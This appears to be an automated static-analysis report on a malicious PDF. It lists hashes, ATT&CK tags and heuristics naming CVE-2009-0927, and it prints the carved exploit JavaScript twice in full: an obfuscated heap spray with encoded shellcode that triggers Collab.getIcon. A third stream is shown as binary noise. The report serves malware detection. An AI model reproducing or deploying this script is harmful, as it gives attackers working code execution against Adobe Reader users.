Malicious PDF — malware analysis report

Static analysis result for SHA-256 aaaba58c732f0e52…

MALICIOUS

PDF

6.7 KB Authoring application: ¿Ô*wcH<¿š[ NB)¯”¢ First seen: 2026-05-08
MD5: 5730417e338f65021cc843b02dec732d SHA-1: 1b0324993604a39b8de18711fd9e84278a093036 SHA-256: aaaba58c732f0e52a82221fbe8818e305b38c90de7a1891c34b6b8ef45f9f598
286 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 JavaScript/JScript T1553.004 Subversion: Mark-of-the-Web Bypass

The PDF file is encrypted and contains a JavaScript action, indicating an attempt to obscure its true content and potentially execute malicious code. The embedded JavaScript stream is likely responsible for decrypting the document or initiating a download. The high-confidence heuristic for 'Encrypted PDF carries /OpenAction' strongly suggests that the JavaScript is used to bypass static analysis and deliver a secondary payload.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 6

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (matched in decompressed stream)
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Encrypted PDF carries /OpenAction — payload hidden from static analysis high PDF_ENCRYPTED_WITH_JS
    PDF declares /Encrypt and also references an executable trigger (/OpenAction). Document encryption hides the JavaScript body and stream contents from static scanners — combined with auto-execution indicators this is a known evasion pattern used to deliver weaponised JavaScript that the analyst cannot inspect without the decryption key.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0006_000.js pdf-javascript-stream PDF /JS object 6 at offset 0x16E 5829 bytes
SHA-256: ae4ae434ee75eb7241a0966782beb9327bc0db88a8858759c80d966ab3e25076
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s). 10 of 17 identifiers look randomly generated (e.g. 'HaaGqvlzyCEOeOQMDbRkXmvxKalZLuJgVtvsDmkR') — consistent with name-mangling obfuscation. Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var UUkDQkSKBckuvpVnCQqRqKXtVOEjYyZNbPgVnKJDCKyxUaSJPNxgUmymafVai = unescape("%ufc3b%uf523%ue229%ubf4e%u3796%u7c2d%u1d7f%u38b1%uc1ff%u7df8%ub541%u43b3%ub62c%u7471%u053d%u1c46%ud520%u870d%u4bd6%ub84a%ub740%ue38c%u3d70%u41bb%u037a%u1cd4%ub942%ueb19%u750c%ud56b%ub72c%u7d43%u7f78%u493f%u4e35%u7924%u3014%u9ffc%ua8b2%u9315%ub08d%u1b25%u40fd%uf969%u7198%uf713%u67e1%u7ebf%uf803%u3272%u34d6%u842d%u2ff5%u9197%u9b48%ud221%u20e0%u1de2%ub6b5%u2777%ua992%u994a%u7337%u4604%u66b1%u76b4%u4f7c%u4790%ub30d%u9605%ub8ba%u74be%u4b3c%u7e7b%uff29%uc0c7%uc6fe%ue1c1%u7477%ub049%ue289%u883d%u23fc%u14d4%u79b9%u2d37%u42ba%u049b%ub191%ub825%u984f%u809f%u78e3%ub246%ua80c%uf801%u4a7a%u767b%u6724%u0890%ue0d3%uf911%u7f3f%u8d41%u47b3%ub54b%u2c75%u4096%u667d%ub727%u7c48%u3a0d%u72eb%ufd33%ubb05%ub697%u431c%u932f%u3570%u2aa9%ub4f5%u1534%u1a73%ud6d1%ube3c%u9299%ud52b%u1d71%u7c73%u287a%u72e1%ubf4e%u8198%u1df9%u9347%ue318%u2c37%u9b90%uf886%ufd85%ub897%uba2f%u7775%u7b3c%ud612%ub9b3%u0d3f%ub4be%ub249%ub7a9%u1c15%u0bb6%ub5f5%u38a8%u40e2%u1071%u91d4%u25bf%u3b96%ubbd5%u9234%u0c66%ue009%u7042%u057e%u3514%u7674%u4b43%u2241%u24eb%u4867%ub04a%u3d04%u8d2d%u7899%ub14e%u467f%u4f7d%u2779%u7a9f%uf602%u39eb%u83fc%ue1d0%u8d27%u4771%u993f%ua9bb%u3c72%u4b66%u4374%ua805%u73b0%ube4a%u4991%ub74f%ud533%u971c%u7b04%ue30a%ue231%uf813%uf911%ub837%ud685%u419b%u3dba%u2d7d%u08b1%u89d4%ufcd2%u9f90%u1542%u1498%ub4b9%ub235%u4676%u7e25%u7778%u4e1d%u0c7c%u4092%u67bf%u7048%u3424%u2f75%u69b6%u7ff5%u0d79%u93b3%ue022%ufd1b%ub596%u7a75%u7d70%u7274%u2c7b%ub8bb%u993c%ua9b5%u8cb0%u43e1%ub3b6%u3f7c%ud087%u0de0%ub249%u7135%u411d%u3a04%u46f8%ud183%u4fe2%ud528%u293d%u05e3%u37be%u90b1%u0992%uc0d3%ub9d4%u767e%u4b66%u7377%u341c%uf903%u939b%u2d9f%u98b7%u7fb4%u4e40%u6725%u800c%u47f5%u0bba%u79fd%u2c78%u4296%u9724%ua814%ubf48%u4a8d%ufc88%ud618%u2f91%u8127%u15eb%u7678%u2f41%u739f%u717d%ueb31%u7e7c%ud62a%ue120%u4372%ub10d%u9225%ub6a9%u8d1d%u4b77%u4fbb%uf56b%ub44a%ue021%u1437%u1567%u7fbe%ubf49%u7493%u467a%u3827%u9bfc%u0442%u1070%u0cd5%ue232%u973f%u4035%ub5b8%u9947%ub7b3%u6698%ubab9%u233d%u84fd%ub0d4%u7975%u3048%u05e3%u3c7b%u2c7f%u91b2%u2b71%u76f9%u704e%u741c%u7334%u902d%u7a96%uc10a%ua8f8%u3b78%uebf7%u7524%u9237%u3979%u77fc%ua843%u7da9%ue119%ue212%ue31a%u9b3c%ub466%u1596%u98b9%ub74e%u1c7b%ube97%u9325%u2ce0%uf686%ubfd5%u3f67%u41b6%u0c3d%u1d72%u2d99%u35d4%uf82f%ub0b2%u9148%ub1bb%u8d46%uba47%u4fb8%u017c%u24f9%u4bf5%ufd02%u2742%u4a14%ub3b5%u7e40%u0d05%u4934%u049f%u90d6%u29bb%ub7ab%udb03%ud9d4%u2474%u5ef4%uc933%u37b1%uc683%u3104%u115e%u5e03%ue211%u57dc%u8a5f%ua81e%ueda0%u4d97%u3f91%u06c3%u8f80%u4b80%u7b29%u7fc4%u09ba%u70c0%ua70b%ube36%u098c%u6cf6%u0b4e%u6e8a%ueb83%ua0b3%uead6%uddf4%ube19%uaaad%u2f88%uefda%u5110%u640c%u2928%ubb29%u83dd%uec30%u9f4e%u147a%uc7e4%u255a%u1429%u6ca6%uef46%u6f5d%u218e%u419e%ueeee%u6da1%uefe3%u4ae6%u9a1c%ua91c%u9da1%ud3e7%u2b7d%u74f5%u8bf5%u85dd%u4ada%u8a96%u1997%u8ef0%ucd26%uab8b%uf0a3%u3a5b%ud6f7%u667f%u77a3%uc226%u8702%uaa38%u2dfb%u5933%u54ef%u341e%ud5ee%u7125%ue5f0%ud225%ud499%ubdae%ue8de%ufa65%ua311%uab27%u6ab9%ue9b2%u8ca7%u2d69%u0ede%uce9b%u0e25%ucbee%u8862%ua603%u7dfb%u1523%u57fb%ua360%u2f5f%ubd0f%ua03b%u32b8%u4d98%uc63f%ud754%u1bd2%u4ba7%u335f%u5dab%ub3fa%ua256");
		var zIAxEarDnjwfBVwMViuPPOqAAsGdk ="";
		for (xkpkDIiPeKRCflAYUwxAjgEtgiGXEN=128;xkpkDIiPeKRCflAYUwxAjgEtgiGXEN>=0;--xkpkDIiPeKRCflAYUwxAjgEtgiGXEN) zIAxEarDnjwfBVwMViuPPOqAAsGdk += unescape("%u9b1c%u413c");
		WrQQRAIFTSFOJUOSGoUDOysjNKc = zIAxEarDnjwfBVwMViuPPOqAAsGdk + UUkDQkSKBckuvpVnCQqRqKXtVOEjYyZNbPgVnKJDCKyxUaSJPNxgUmymafVai;
		jGEYU = unescape("%u9b1c%u413c");
		LrfxvkXzlXoHvOHpbRHwHAZQFVoINzbOVKNsBRkrqxXHJmaQpZCTrhRwuDnxSN = 20;
		nUPMcAJxFdSEEpUVqFQwkuyTEhudSIUtboAYcIJOywxZjKopSNDHkNZjZQWjyRuuWkFNGhjqPWmldC = LrfxvkXzlXoHvOHpbRHwHAZQFVoINzbOVKNsBRkrqxXHJmaQpZCTrhRwuDnxSN+WrQQRAIFTSFOJUOSGoUDOysjNKc.length
		while (jGEYU.length<nUPMcAJxFdSEEpUVqFQwkuyTEhudSIUtboAYcIJOywxZjKopSNDHkNZjZQWjyRuuWkFNGhjqPWmldC) jGEYU+=jGEYU;
		QCnKcyGwtfzOFaTsKCgbRXRHgaBjLHNYYJuaQ = jGEYU.substring(0, nUPMcAJxFdSEEpUVqFQwkuyTEhudSIUtboAYcIJOywxZjKopSNDHkNZjZQWjyRuuWkFNGhjqPWmldC);
		sqTBQhyRkALKxZPLFHsCNMiBEmsEyLlMUnUumtynnRQoJFOrrANeLyTnPkDwPPiDkGieIrpIqGocH = jGEYU.substring(0, jGEYU.length-nUPMcAJxFdSEEpUVqFQwkuyTEhudSIUtboAYcIJOywxZjKopSNDHkNZjZQWjyRuuWkFNGhjqPWmldC);
		while(sqTBQhyRkALKxZPLFHsCNMiBEmsEyLlMUnUumtynnRQoJFOrrANeLyTnPkDwPPiDkGieIrpIqGocH.length+nUPMcAJxFdSEEpUVqFQwkuyTEhudSIUtboAYcIJOywxZjKopSNDHkNZjZQWjyRuuWkFNGhjqPWmldC < 0x40000) sqTBQhyRkALKxZPLFHsCNMiBEmsEyLlMUnUumtynnRQoJFOrrANeLyTnPkDwPPiDkGieIrpIqGocH = sqTBQhyRkALKxZPLFHsCNMiBEmsEyLlMUnUumtynnRQoJFOrrANeLyTnPkDwPPiDkGieIrpIqGocH+sqTBQhyRkALKxZPLFHsCNMiBEmsEyLlMUnUumtynnRQoJFOrrANeLyTnPkDwPPiDkGieIrpIqGocH+QCnKcyGwtfzOFaTsKCgbRXRHgaBjLHNYYJuaQ;
		ZMFwJnAleiBTBftAcSJHhAXJFJ = new Array();
		for (kmRughFEpsTFzErLVJGqVcUvitNJrbCWTkUQistTdSJXNHR=0;kmRughFEpsTFzErLVJGqVcUvitNJrbCWTkUQistTdSJXNHR<1450;kmRughFEpsTFzErLVJGqVcUvitNJrbCWTkUQistTdSJXNHR++) ZMFwJnAleiBTBftAcSJHhAXJFJ[kmRughFEpsTFzErLVJGqVcUvitNJrbCWTkUQistTdSJXNHR] = sqTBQhyRkALKxZPLFHsCNMiBEmsEyLlMUnUumtynnRQoJFOrrANeLyTnPkDwPPiDkGieIrpIqGocH + WrQQRAIFTSFOJUOSGoUDOysjNKc;
		var HaaGqvlzyCEOeOQMDbRkXmvxKalZLuJgVtvsDmkRsJWYfVWflLOLverLhDLPFgWGxqQPOJiJlAdbckPtSRAIUNyeyuUhL = unescape("%0a");
		while(HaaGqvlzyCEOeOQMDbRkXmvxKalZLuJgVtvsDmkRsJWYfVWflLOLverLhDLPFgWGxqQPOJiJlAdbckPtSRAIUNyeyuUhL.length < 0x4000) HaaGqvlzyCEOeOQMDbRkXmvxKalZLuJgVtvsDmkRsJWYfVWflLOLverLhDLPFgWGxqQPOJiJlAdbckPtSRAIUNyeyuUhL+=HaaGqvlzyCEOeOQMDbRkXmvxKalZLuJgVtvsDmkRsJWYfVWflLOLverLhDLPFgWGxqQPOJiJlAdbckPtSRAIUNyeyuUhL;
		HaaGqvlzyCEOeOQMDbRkXmvxKalZLuJgVtvsDmkRsJWYfVWflLOLverLhDLPFgWGxqQPOJiJlAdbckPtSRAIUNyeyuUhL = "N."+HaaGqvlzyCEOeOQMDbRkXmvxKalZLuJgVtvsDmkRsJWYfVWflLOLverLhDLPFgWGxqQPOJiJlAdbckPtSRAIUNyeyuUhL;
		Collab.getIcon(HaaGqvlzyCEOeOQMDbRkXmvxKalZLuJgVtvsDmkRsJWYfVWflLOLverLhDLPFgWGxqQPOJiJlAdbckPtSRAIUNyeyuUhL);
javascript_obj0006_000_shellcode_00.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 6 at offset 0x16E 1024 bytes
SHA-256: 3da885b3226a0b4b69ba4733b292e302829d5df90abcbd378f9d9d3845d371a4
Detection
ClamAV: Win.Trojan.MSShellcode-6360729-4
Obfuscation or payload: unlikely
generic_stage_recovery_000.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 6 at offset 0x16E 5827 bytes
SHA-256: c7d59aff3eb34ee57614c97bdf9e0ee455ba8e61c6d675c15274aae772820cb3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s). 10 of 17 identifiers look randomly generated (e.g. 'HaaGqvlzyCEOeOQMDbRkXmvxKalZLuJgVtvsDmkR') — consistent with name-mangling obfuscation. Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var UUkDQkSKBckuvpVnCQqRqKXtVOEjYyZNbPgVnKJDCKyxUaSJPNxgUmymafVai = unescape("%ufc3b%uf523%ue229%ubf4e%u3796%u7c2d%u1d7f%u38b1%uc1ff%u7df8%ub541%u43b3%ub62c%u7471%u053d%u1c46%ud520%u870d%u4bd6%ub84a%ub740%ue38c%u3d70%u41bb%u037a%u1cd4%ub942%ueb19%u750c%ud56b%ub72c%u7d43%u7f78%u493f%u4e35%u7924%u3014%u9ffc%ua8b2%u9315%ub08d%u1b25%u40fd%uf969%u7198%uf713%u67e1%u7ebf%uf803%u3272%u34d6%u842d%u2ff5%u9197%u9b48%ud221%u20e0%u1de2%ub6b5%u2777%ua992%u994a%u7337%u4604%u66b1%u76b4%u4f7c%u4790%ub30d%u9605%ub8ba%u74be%u4b3c%u7e7b%uff29%uc0c7%uc6fe%ue1c1%u7477%ub049%ue289%u883d%u23fc%u14d4%u79b9%u2d37%u42ba%u049b%ub191%ub825%u984f%u809f%u78e3%ub246%ua80c%uf801%u4a7a%u767b%u6724%u0890%ue0d3%uf911%u7f3f%u8d41%u47b3%ub54b%u2c75%u4096%u667d%ub727%u7c48%u3a0d%u72eb%ufd33%ubb05%ub697%u431c%u932f%u3570%u2aa9%ub4f5%u1534%u1a73%ud6d1%ube3c%u9299%ud52b%u1d71%u7c73%u287a%u72e1%ubf4e%u8198%u1df9%u9347%ue318%u2c37%u9b90%uf886%ufd85%ub897%uba2f%u7775%u7b3c%ud612%ub9b3%u0d3f%ub4be%ub249%ub7a9%u1c15%u0bb6%ub5f5%u38a8%u40e2%u1071%u91d4%u25bf%u3b96%ubbd5%u9234%u0c66%ue009%u7042%u057e%u3514%u7674%u4b43%u2241%u24eb%u4867%ub04a%u3d04%u8d2d%u7899%ub14e%u467f%u4f7d%u2779%u7a9f%uf602%u39eb%u83fc%ue1d0%u8d27%u4771%u993f%ua9bb%u3c72%u4b66%u4374%ua805%u73b0%ube4a%u4991%ub74f%ud533%u971c%u7b04%ue30a%ue231%uf813%uf911%ub837%ud685%u419b%u3dba%u2d7d%u08b1%u89d4%ufcd2%u9f90%u1542%u1498%ub4b9%ub235%u4676%u7e25%u7778%u4e1d%u0c7c%u4092%u67bf%u7048%u3424%u2f75%u69b6%u7ff5%u0d79%u93b3%ue022%ufd1b%ub596%u7a75%u7d70%u7274%u2c7b%ub8bb%u993c%ua9b5%u8cb0%u43e1%ub3b6%u3f7c%ud087%u0de0%ub249%u7135%u411d%u3a04%u46f8%ud183%u4fe2%ud528%u293d%u05e3%u37be%u90b1%u0992%uc0d3%ub9d4%u767e%u4b66%u7377%u341c%uf903%u939b%u2d9f%u98b7%u7fb4%u4e40%u6725%u800c%u47f5%u0bba%u79fd%u2c78%u4296%u9724%ua814%ubf48%u4a8d%ufc88%ud618%u2f91%u8127%u15eb%u7678%u2f41%u739f%u717d%ueb31%u7e7c%ud62a%ue120%u4372%ub10d%u9225%ub6a9%u8d1d%u4b77%u4fbb%uf56b%ub44a%ue021%u1437%u1567%u7fbe%ubf49%u7493%u467a%u3827%u9bfc%u0442%u1070%u0cd5%ue232%u973f%u4035%ub5b8%u9947%ub7b3%u6698%ubab9%u233d%u84fd%ub0d4%u7975%u3048%u05e3%u3c7b%u2c7f%u91b2%u2b71%u76f9%u704e%u741c%u7334%u902d%u7a96%uc10a%ua8f8%u3b78%uebf7%u7524%u9237%u3979%u77fc%ua843%u7da9%ue119%ue212%ue31a%u9b3c%ub466%u1596%u98b9%ub74e%u1c7b%ube97%u9325%u2ce0%uf686%ubfd5%u3f67%u41b6%u0c3d%u1d72%u2d99%u35d4%uf82f%ub0b2%u9148%ub1bb%u8d46%uba47%u4fb8%u017c%u24f9%u4bf5%ufd02%u2742%u4a14%ub3b5%u7e40%u0d05%u4934%u049f%u90d6%u29bb%ub7ab%udb03%ud9d4%u2474%u5ef4%uc933%u37b1%uc683%u3104%u115e%u5e03%ue211%u57dc%u8a5f%ua81e%ueda0%u4d97%u3f91%u06c3%u8f80%u4b80%u7b29%u7fc4%u09ba%u70c0%ua70b%ube36%u098c%u6cf6%u0b4e%u6e8a%ueb83%ua0b3%uead6%uddf4%ube19%uaaad%u2f88%uefda%u5110%u640c%u2928%ubb29%u83dd%uec30%u9f4e%u147a%uc7e4%u255a%u1429%u6ca6%uef46%u6f5d%u218e%u419e%ueeee%u6da1%uefe3%u4ae6%u9a1c%ua91c%u9da1%ud3e7%u2b7d%u74f5%u8bf5%u85dd%u4ada%u8a96%u1997%u8ef0%ucd26%uab8b%uf0a3%u3a5b%ud6f7%u667f%u77a3%uc226%u8702%uaa38%u2dfb%u5933%u54ef%u341e%ud5ee%u7125%ue5f0%ud225%ud499%ubdae%ue8de%ufa65%ua311%uab27%u6ab9%ue9b2%u8ca7%u2d69%u0ede%uce9b%u0e25%ucbee%u8862%ua603%u7dfb%u1523%u57fb%ua360%u2f5f%ubd0f%ua03b%u32b8%u4d98%uc63f%ud754%u1bd2%u4ba7%u335f%u5dab%ub3fa%ua256");
		var zIAxEarDnjwfBVwMViuPPOqAAsGdk ="";
		for (xkpkDIiPeKRCflAYUwxAjgEtgiGXEN=128;xkpkDIiPeKRCflAYUwxAjgEtgiGXEN>=0;--xkpkDIiPeKRCflAYUwxAjgEtgiGXEN) zIAxEarDnjwfBVwMViuPPOqAAsGdk += unescape("%u9b1c%u413c");
		WrQQRAIFTSFOJUOSGoUDOysjNKc = zIAxEarDnjwfBVwMViuPPOqAAsGdk + UUkDQkSKBckuvpVnCQqRqKXtVOEjYyZNbPgVnKJDCKyxUaSJPNxgUmymafVai;
		jGEYU = unescape("%u9b1c%u413c");
		LrfxvkXzlXoHvOHpbRHwHAZQFVoINzbOVKNsBRkrqxXHJmaQpZCTrhRwuDnxSN = 20;
		nUPMcAJxFdSEEpUVqFQwkuyTEhudSIUtboAYcIJOywxZjKopSNDHkNZjZQWjyRuuWkFNGhjqPWmldC = LrfxvkXzlXoHvOHpbRHwHAZQFVoINzbOVKNsBRkrqxXHJmaQpZCTrhRwuDnxSN+WrQQRAIFTSFOJUOSGoUDOysjNKc.length
		while (jGEYU.length<nUPMcAJxFdSEEpUVqFQwkuyTEhudSIUtboAYcIJOywxZjKopSNDHkNZjZQWjyRuuWkFNGhjqPWmldC) jGEYU+=jGEYU;
		QCnKcyGwtfzOFaTsKCgbRXRHgaBjLHNYYJuaQ = jGEYU.substring(0, nUPMcAJxFdSEEpUVqFQwkuyTEhudSIUtboAYcIJOywxZjKopSNDHkNZjZQWjyRuuWkFNGhjqPWmldC);
		sqTBQhyRkALKxZPLFHsCNMiBEmsEyLlMUnUumtynnRQoJFOrrANeLyTnPkDwPPiDkGieIrpIqGocH = jGEYU.substring(0, jGEYU.length-nUPMcAJxFdSEEpUVqFQwkuyTEhudSIUtboAYcIJOywxZjKopSNDHkNZjZQWjyRuuWkFNGhjqPWmldC);
		while(sqTBQhyRkALKxZPLFHsCNMiBEmsEyLlMUnUumtynnRQoJFOrrANeLyTnPkDwPPiDkGieIrpIqGocH.length+nUPMcAJxFdSEEpUVqFQwkuyTEhudSIUtboAYcIJOywxZjKopSNDHkNZjZQWjyRuuWkFNGhjqPWmldC < 0x40000) sqTBQhyRkALKxZPLFHsCNMiBEmsEyLlMUnUumtynnRQoJFOrrANeLyTnPkDwPPiDkGieIrpIqGocH = sqTBQhyRkALKxZPLFHsCNMiBEmsEyLlMUnUumtynnRQoJFOrrANeLyTnPkDwPPiDkGieIrpIqGocH+sqTBQhyRkALKxZPLFHsCNMiBEmsEyLlMUnUumtynnRQoJFOrrANeLyTnPkDwPPiDkGieIrpIqGocH+QCnKcyGwtfzOFaTsKCgbRXRHgaBjLHNYYJuaQ;
		ZMFwJnAleiBTBftAcSJHhAXJFJ = new Array();
		for (kmRughFEpsTFzErLVJGqVcUvitNJrbCWTkUQistTdSJXNHR=0;kmRughFEpsTFzErLVJGqVcUvitNJrbCWTkUQistTdSJXNHR<1450;kmRughFEpsTFzErLVJGqVcUvitNJrbCWTkUQistTdSJXNHR++) ZMFwJnAleiBTBftAcSJHhAXJFJ[kmRughFEpsTFzErLVJGqVcUvitNJrbCWTkUQistTdSJXNHR] = sqTBQhyRkALKxZPLFHsCNMiBEmsEyLlMUnUumtynnRQoJFOrrANeLyTnPkDwPPiDkGieIrpIqGocH + WrQQRAIFTSFOJUOSGoUDOysjNKc;
		var HaaGqvlzyCEOeOQMDbRkXmvxKalZLuJgVtvsDmkRsJWYfVWflLOLverLhDLPFgWGxqQPOJiJlAdbckPtSRAIUNyeyuUhL = unescape("
");
		while(HaaGqvlzyCEOeOQMDbRkXmvxKalZLuJgVtvsDmkRsJWYfVWflLOLverLhDLPFgWGxqQPOJiJlAdbckPtSRAIUNyeyuUhL.length < 0x4000) HaaGqvlzyCEOeOQMDbRkXmvxKalZLuJgVtvsDmkRsJWYfVWflLOLverLhDLPFgWGxqQPOJiJlAdbckPtSRAIUNyeyuUhL+=HaaGqvlzyCEOeOQMDbRkXmvxKalZLuJgVtvsDmkRsJWYfVWflLOLverLhDLPFgWGxqQPOJiJlAdbckPtSRAIUNyeyuUhL;
		HaaGqvlzyCEOeOQMDbRkXmvxKalZLuJgVtvsDmkRsJWYfVWflLOLverLhDLPFgWGxqQPOJiJlAdbckPtSRAIUNyeyuUhL = "N."+HaaGqvlzyCEOeOQMDbRkXmvxKalZLuJgVtvsDmkRsJWYfVWflLOLverLhDLPFgWGxqQPOJiJlAdbckPtSRAIUNyeyuUhL;
		Collab.getIcon(HaaGqvlzyCEOeOQMDbRkXmvxKalZLuJgVtvsDmkRsJWYfVWflLOLverLhDLPFgWGxqQPOJiJlAdbckPtSRAIUNyeyuUhL);
javascript_obj0007_000.js pdf-javascript-stream PDF /JS object 7 at offset 0x15B 5829 bytes
SHA-256: 72e601624ac50c7b4a7695775fb0a4f54307653740b9d67ec3e3f328553d32e7
Preview script
First 1,000 lines of the extracted script
��\ڬ����K� L�d{ e��}��� 0@'(=������ .e.�������;{I �����/�/���.�(���n�`���|�dZe�H}ob_%�W��s�7����x��n�< A���7S.�1� �z� ��O��4�|A��oB~Y��� �!�#�Jᘼ   S�� �4VTKU'�/.E��� >_b�=�-̉(/�S� �Gk,���L�4X��]�ot �K�o۸��dcj��M� (+�  m�:d��� ɪ^H&' ���w�+� /'!�1�.���Ǻ, Y�� �� XJC �^R Ƌ �Q�����Ka�0g}��=#��^%��ݡ��>p��m\��
�y j�﯑�SO8w:�� ����%"( �0ť��D ���<�t��� o C8X vГ-[3�l ����� $����l2|�ufUV��3� 
5�c� ��  �� !�
B+     �k �M ����Xr�� c� 2P0��c ;  hs@��sQ��I��7�tz�{ �?'g�����zL�ݮ��;f��W|M���C�r �)��;%'��E��Ւ�0�� i�wE�r�d� ����c��.� &�����E� �Y�Y�Ĝ�=����3V v�� )�(� ��{ � �f�� ���,Y�H:�����ox����J�y[�5�W u#� Mb���`  <��b�z�V~ ���  ��VFQ|�Xո�   įR~]]�ɴ �=	�PS*��-&���� x�� Oǡ��9J~Ǎ P
1� J ����ޖܠ 1;>�{���� ����!� ��+�<:5h�G�  ;�]�tc�o8�zB��n��;��� �:I >�aN����i���. �i�� �8�?
�ȍ+�[����ű�8��p� � �2��m� � �lw�t� ��ɟ��`[���R��J n� ��hE F� �� ᡳ�L �fc�B�qh��3x�4?��ȗ 4܆ڠ�<� �������I a�^C^O \� �!�� |�ږ�} ���-cs�+ � 8[O��{ /O'��k� �� ���� �*�d���  �>�W>�}5 �?� �7��W�뻳Z�?I� �;� �Y&s �
w�t �U؇ 6�I ����Y�(����U��S� v����� ;xa�}�� Bߊ����u,BG�MD���-́�>��zO��#�# �i1 Q'�!�^j���.]  ;�/�ݟG�I�M +�� =��C_X�V�? 0�=� ��h�ٹ U���� u���� ��{0�  g v �Na���w4Q_*�f
E�y�t� ���� � ۛxis)��aNp�w~
ۂ.������0�X1.x �Q۱y�S�OF�b� aD��O  ��e�J,��D* �l# F7������ R `~`)r�
� \G.(� ,. �H� �����E��(� '�ԤvW��u4Ȩ��
��Pb�)���: �>��)|�o0�DHU�Q�5)>����Q��a*G ��" A�� =�:�c����7���R
�ԋ�1��}]{9 �� � Mg 0� ��7%�  �?}C���Gю� �q���9��1�����s�UE{��` ���z���͛� d��[>� � C�r;ǁ͕��WӉ��� �"<5�t�יJ��7Jp �  i_� l� ��rxv�9�uy(����z� �K ���̏����� S���; V��H��� ��̋ �A�;�5hPk�t#.�5�� &!$�'Z�Ҳ���}eF� ���8�� < TL?�a¦Z$էBj���+�ޚ �*�գ�q Ӣ�F�Vo� �(�y  f�A�wc ��������D���% �  ����Ȱ�	�K�x�HT� �FEe�#�p�t����C�ۃ� {��w�#1��f�|� ��x 2罘a���i�W n� ٘W�qR4-��%V��W;��� $@8{�d�	�c�T��VW ���O�� F
r��)��~ �L S�� �/�Z�����	¨�� ���z�S&*��7�?�
6]� !� ������2��"����M k��
��>j\
 �r��� ! T C���� �T�l[d��s�J8�����_�< �� �� �.%-����Toόݾ2k�y��H�S� Kդ��ŔD���R��1.V�*\�����LFy@��gP���U�pg�RR-B� �O�xwF�޽9����  ��j 6Q��~l�j����@�k%ǂ�Ռԣ 9�o8T .
��j����5j˦� qR&d����k�� � ��~��`��유UP�Eɲ0�M��;�O�pp�� ��i�eNdF�&� ��6���Z�RRԏʮ�q�)q;¸4���mv5"� �E�fX�M5� �Wr,�� � �0G���ʨSY�M5�h ��J�b�G7�& t:Q ��= Ȯ�ý�w���8 ���+�:� �aD �v;�
�]�k�m���  Ps@�Ѱ -��@
rq*  ���0���0U6   �=�c�V��*�W���{� � 5�Ā��nZo��B�� �   ��뻴*'
E� Yp�� �6ڽA6ɑ5����gO��F�H���Ǐ1%�3���$�V�j��
S��S�+vw�J�P*� � z
��lB 3��e �O���/ x��  �� <�eNH
��x 6 6f������n >"� ���;�af�jC�{���� MLj��#��K�i�+ � ��ꞷZ��Cͦ_��F g��h/���qUFQS� e��)T�N|d"� �} w�w �  �~�6Z�k��ӹdE�խ �m�Xh��S��!k
��Q ���{�UB5GD��W*PI9�rK� ��  ��>��)��I � ��x ;�)| ,�t��  �P�V�5ۻ%� �I�d T� �t��}��  /'`Kв 亏L���b\
H-V�f%h�.]  �  [���3�  ;M~  �)v�,���+�]� o
% *�ƣOB����� 1� ��0D�/PNB�OY�[�	;�_
��; I�o����L�b�غ�/�f�� ?  X�G�� Mu {�A �0g�@�3 y� N���,R � � �IX� s I*N���>�d��EvC%�T:"$�ش!�,��d�:�8w4&7E Oa��B DW $��%��"b1� ��c&~� 
G� �����
, �h���O� h�2�ObK�0s*�E�_��+7;��諘�C6�$*�^��ҝ �zT0 �I�v�?�|��Ohn�&���L 9 ��FQ��%�j  ���>hZ�X �jꞬИ��P&�� Y������� �y�pg٢��2 5 ]qґ�	�z    c/y!��n�L�"+�c��} t  �d=��	�A� �
� y��c����ŃPR�T��3*� �5g
F��T  d� �
�Q #
6O
�ʴE�v���h�����ctf�GL�' /t` V�! �� ��Z*�hq��Boe��u!��^\� �F�	����r�k΋( �%  c}>  v��j�y6HkHWSy�&fi% 
D˨O�  �7J�Y�\ |���(+����' �� *^�u[� 8B� �� �}r�&�� �ܱ[  �V���ٌ\?���!q ��BZ�� �\ �s6 xհ�FR�<��w%O
�
чh/� �W&� H?�; p��<�9=� Oۇ~l�h�(P�[/��eO��7{MB�U  �ِ��e�  �A���G � ���1L�Zu�i hf��Y�M��q  ��Cpr�q�� �  #��e}Rg�R Ö{`[�������gAne�  ����
{��:J 0�+�/9��1��Ֆ� =F-/��|8*Q����H�y3���FS4�j�E?Nw� �����>�� \9DI_g;Mؐ�1��4����� Uu  �� i�6�BN8�f*� ?��� 8ú!� 2v �R$\� )�{/�D`ҧ]L� ߂���(ԃsaKxZ�"�� �>�~۵m,T~,�tА�H Q�h�[> 5�=�3�FK  I� S ��  ��m��u��YG	=��cn��%�! � � �n� �0��8�W �
�c� ��ϝ6�٢�CQ�G �  N �mp���fA �  J��� Pf�e .����uQLe�	�V� �/#ѻ
�  8;)� �  ��z%= 5� w5�Yk�;�.I� �}z ��zB^�| 4��H�V� � �y��x/ �)�sbeC(� � ͽ �� X���� F� ( V� �~K  �3;   L% �nɯ}�  �a y::ǃ� �� !�\"�I� 
